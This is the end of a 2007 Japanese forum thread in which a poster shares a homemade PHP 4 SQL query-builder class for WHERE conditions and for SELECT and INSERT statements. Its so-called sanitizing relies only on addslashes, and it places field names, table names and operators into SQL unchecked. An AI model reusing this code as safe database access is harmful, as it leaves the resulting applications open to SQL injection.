とか symfonyの
symfony/vendor/propel\util/Criteria.php
とか参考にならない?

993 :976:2007/06/10(日) 02:51:20 ID:17od7jmr
いろいろとありがとうございます。ラムダを使って入れ子とか、
賢すぎです。馬鹿はPHP極められないなぁとか思った次第です。
symfonyのcriteriaは…紹介だけだと詳しくのってませんでした。
ソースコード見るよりとりあえず作ってみます。どうもでした。

994 :nobodyさん:2007/06/10(日) 04:16:51 ID:???
>>993
ま、これぐらいたいしたことじゃねぇってw

995 :976:2007/06/10(日) 06:28:21 ID:17od7jmr
>>988
できた。よかったら使ってください。
長いんでこのスレ埋めてしまいますすんません。
<?php
//WHERE以下の条件クラス
class element
{
var $field;//DBのフィールド値
var $value;//値
var $relation;//fieldとvalueの関係。=とかlikeとか。

//コンストラクタはプロパティのセットのみ
function element($field,$value,$relation="=")
{
$this->field=$field;
$this->value=$value;
$this->relation=$relation;
}

//DB用の「サニタイズ」
function trimforquery($value)
{
if(is_numeric($value)){return $value;}
elseif(is_string($value)){return $this->strforquery($value);}
else{
error("element->trimforquery:UNKNOWN DATATYPE ".$value);
return $value;
}
}


996 :976:2007/06/10(日) 06:29:47 ID:17od7jmr
function strforquery($str)
{
$strforquery=addslashes(trim($str));
$strforquery="'".$strforquery."'";
return $strforquery;
}

//SQLフォーマットで出力します。
function render()
{
$condition=sprintf(" %s %s %s ",$this->field,$this->relation,$this->trimforquery($this->value));
return $condition;
}
}



997 :976:2007/06/10(日) 06:31:11 ID:17od7jmr
//複数のelementを格納したオブジェクト。自身もelementとなりうる(入れ子が可能)
class elementtray extends element
{
var $elements=array();//ここにelementオブジェクトが入る。
var $connection="AND";//element同士の接続。Tray内では常に同じ接続。別にしたきゃ別のTrayを作れ。

function elementtray($connection="AND")
{
$this->connection=$connection;
}

//elementを加えるメソッド
function add($element)
{
$this->elements[]=$element;
}

//elementを$connectionでつないで、括弧でくくって出力します。
function render()
{
if($this->elements!==array()){
$condition=" ( ";
foreach($this->elements as $element){
$condition.=trim($element->render());
$condition.=" ".$this->connection." ";
}
$condition=substr($condition,0,strlen($condition)-strlen($this->connection)-2);
$condition.=" ) ";
}
return $condition;
}
}

998 :976:2007/06/10(日) 06:32:25 ID:17od7jmr
//SQLをつかさどる抽象クラス。elementtrayと同様に、elementを複数持てます。
class query extends elementtray
{
var $order;//ORDER BYとかの機能ものちに追加したいが自分が今必要ないからプロパティだけ作っとく。
var $sql="";

function query($connection="AND")
{
$this->elementtray($connection);
}

//SQLを出力します。$this->sqlは子クラスに任せています。
function render()
{
$sql=$this->sql;
if($this->elements!==array()){
$condition=" WHERE ";
foreach($this->elements as $element){
$condition.=trim($element->render());
$condition.=" ".$this->connection." ";
}
$condition=substr($condition,0,strlen($condition)-strlen($this->connection)-2);
$sql.=trim($condition);
}
return $sql;
}
}

999 :976:2007/06/10(日) 06:33:27 ID:17od7jmr
//SELECT ほげ FROM をしてくれるクラス
class selectquery extends query
{
function selectquery($field,$table,$connection="AND")
{
$this->query($connection);
$this->sql=sprintf("SELECT %s FROM %s ",trim($field),trim($table));
}
}

//INSERT INTO ほげ してくれるクラス。$arrofnewの順序および数はテーブルのフィールドと一致している必要があります。
class insertquery extends query
{
function insertquery($table,$arrofnew)
{
$values="";
foreach($arrofnew as $value){
$values.=$this->trimforquery($value);
$values.=",";
}
$values=substr($values,0,strlen($values)-1);
$this->sql=sprintf("INSERT INTO %s VALUES(%s);",trim($table),$values);
}
}
?>

1000 :nobodyさん:2007/06/10(日) 06:34:16 ID:???
1000

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

271 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)